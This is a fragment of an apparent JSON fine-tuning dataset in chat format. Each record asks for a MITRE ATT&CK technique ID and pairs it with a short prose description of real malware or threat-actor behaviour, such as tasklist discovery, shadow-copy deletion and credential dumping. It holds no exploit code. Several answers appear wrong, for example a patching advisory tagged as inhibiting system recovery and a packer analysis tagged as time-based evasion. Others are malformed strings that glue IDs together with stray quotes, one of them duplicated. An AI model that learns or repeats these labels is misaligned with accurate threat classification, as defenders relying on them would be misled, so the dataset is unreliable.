                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess has the ability to exfiltrate data, including Chrome and Edge browser database files, from compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While sending to the C2 server, the data is formatted as follows: @{SYSINFO  = $get.ToString(); ACTION = \"REGISTER\";}  Ability to take screenshots"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMould can run cmd.exe with parameters."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following exploitation with LOWBALL malware, admin@338 actors created a file containing a list of commands to be executed on the compromised computer."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can establish using a AppCertDLLs Registry key."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has manipulated .lnk files to gather user credentials in conjunction with Forced Authentication."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can download additional files from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the ifconfig command to obtain the IP address from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload files from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <first file identifier> + “?alt=media” With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Certutil is a living-off the land command line utility that can be used to obtain certificate authority information and configure certificate services. Threat actors usually utilize certutil to download remote files from a given URL. It also incorporates a built-in function to decode base64-encoded files"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUBBLEWRAP can communicate using HTTP or HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has used the command \"cmd /c tasklist\" to get a snapshot of the current processes on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDFSNIFFER hooks several Win32 API functions to hijack elements of the remote system management user-interface."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Apply the Microsoft security updates for MS17-010, including the updates for the Windows XP and Windows Server 2003 legacy operating systems. Disable SMBv1 on systems where it is not necessary (e.g. hosts that do not need to communicate with Windows XP and Windows 2000 systems). Carefully evaluate the need for allowing SMBv1-capable systems on interconnected networks compared to the associated risks. Scan networks for the presence of the DoublePulsar backdoor using plugins for tools such as Nmap. Use network auditing tools to scan networks for hosts that are vulnerable to the vulnerabilities described in MS17-010. Implement a backup strategy that includes storing data using offline backup media. Backups to locally connected, network-attached, or cloud-based storage are often insufficient because ransomware frequently accesses and encrypts files stored on these systems"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the user does not have permissions to add a service, the installation routine attempts to add persistence by creating the following registry key that will run the functional code within Emissary via an exported function named \"DllRegister"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOLMIUM has been observed using various vectors for initial access, including spear-phishing email, sometimes carrying archive attachments that exploit the CVE-2018-20250 vulnerability in WinRAR, and password-spraying. Many of their recent attacks, however, have involved the penetration testing tool Ruler used in tandem with compromised Exchange credentials"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naid creates a new service to establish."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can discover and close windows on controlled systems."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a keylogging tool called KEYPUNCH."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compromised three Japanese websites using a Flash exploit to perform watering hole attacks."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Passgrabber module – collects logins and passwords from various sources: Firefox and Chrome files, Microsoft Vault storage, etc. Instead of using Mimikatz as in previous versions, the module collects passwords using its own algorithms"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the ipconfig command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon attempts to access the \"ADMIN$\", \"C$\\Windows\", \"D$\\Windows\", and \"E$\\Windows\" shares on the victim with its current privileges."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uploads a file on the victim’s computer to the C&C server"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has built in commands to identify a host’s IP address and find out other network configuration settings by viewing connected sessions."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A modified EternalBlue exploit, also used by WannaCry.. The EternalRomance exploit – a remote code execution exploit targeting Windows XP to Windows 2008 systems over TCP port 445 (Note: patched with MS17-010).. An attack against the update mechanism of a third-party Ukrainian software product called MeDoc."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can spread itself by infecting other portable executable files on removable drives."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris can upload files matching a hardcoded set of extensions, such as .doc, .docx, .pdf, and .rar, to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME can uninstall malware components using a batch script. TYPEFRAME can execute commands using a shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT uses the \"netstat\" command to find open ports on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has compromised victims by directly exploiting vulnerabilities of public-facing servers, including those associated with Microsoft Exchange and Oracle GlassFish."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once executed, Vcrodat loads an encrypted payload on to the victim’s computer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti ransomware deletes Windows Volume Shadow Copies using vssadmin."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "launches a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Even simple API calls were obfuscated, and instead of just calling the functions, Siloscape made the effort to use the Native API (NTAPI) version of the same function"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy can collect clipboard data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack has used a dropper that embeds an encrypted payload as extra data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027.009 - Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can produce a sessions report from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can collect credentials from WINSCP."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tokens for each platform are hardcoded within the sample:November 2016 to January 2017: \"Evil New Year\" CampaignIn the early part of 2017, Group123 started the \"Evil New Year\" campaign"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has used the \"WNetOpenEnumW\", \"WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These commands are also executed when the loadconfig command is issued"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT collects the IP address and MAC address from the system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Static analysis of this executable shows only two functions, but a regular number of imports. Upon detecting a debugger attached to it, the malware will display the message below and terminate the execution. This packer also hides the calls to API functions. This time instead of using a dispatcher function, the malware pushes the arguments into the stack as usual but will then perform a call to a jump table built during the unpacking, in the .text section memory region. Each entry finishes with a jmp instruction into the respective API function. Effectively the malware doesn't do any call to API functions, it always performs a jump. The end result is the same has in the packer from 2016, but with a simpler mechanism. One of the anti-analysis features included in this packer is the lack of calls to API functions. In the early stages of execution, the malware loads the libraries and retrieves the addresses from functions it needs. Feature-wise, there is no change when compared with the 2016 version, in fact when compared the C2 beaconing functions even share some of the offsets"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\\ partition by overwriting it with fixed data. The additional steps taken to wipe the actual hard drive partition differentiate its behavior from other wiper malware like NotPetya. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable"
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can include a rootkit to hide processes, files, and startup."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command line and rundll32.exe to execute."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 malware has created scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen with other ransomware cases, Mimikatz is a key player in dumping credentials but LockBit 2.0 has been occasionally seen utilizing MiniDump as well."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has disguised its C2 addresses as the websites of shopping malls, governments, universities, and others."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum was seen using modified Quarks PwDump to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "schtasks is used to schedule tasks on a Windows system to run at a specific date and time."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has a keylogging capability."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to execute ver and systeminfo commands."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used compromised local accounts to access victims' networks."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type may create a temporary user on the system named `Lost_{Unique Identifier}`."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8's malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. FIN8 has also used WMIC for lateral movement as well as during and post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net time` command as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of enumerating and manipulating files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Details: One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe. Writing an analytic looking for a process of esentutl.exe with Windows\\WebCache in the command line may help you catch this behavior"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The legitimate DLL that would be used in this case has the size of roughly 600 KB, but here we have an obfuscated library that is over 600 MB. The large size of the file is intended to hamper analysis and detection. Once all empty sections have been removed from the library, the final payload is a binary of 27.5 MB"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can store copied files in a specific directory prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack has a C2 proxy tool that masquerades as \"GUP.exe\", which is software used by Notepad++."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can deobfuscate and re-assemble code strings for execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
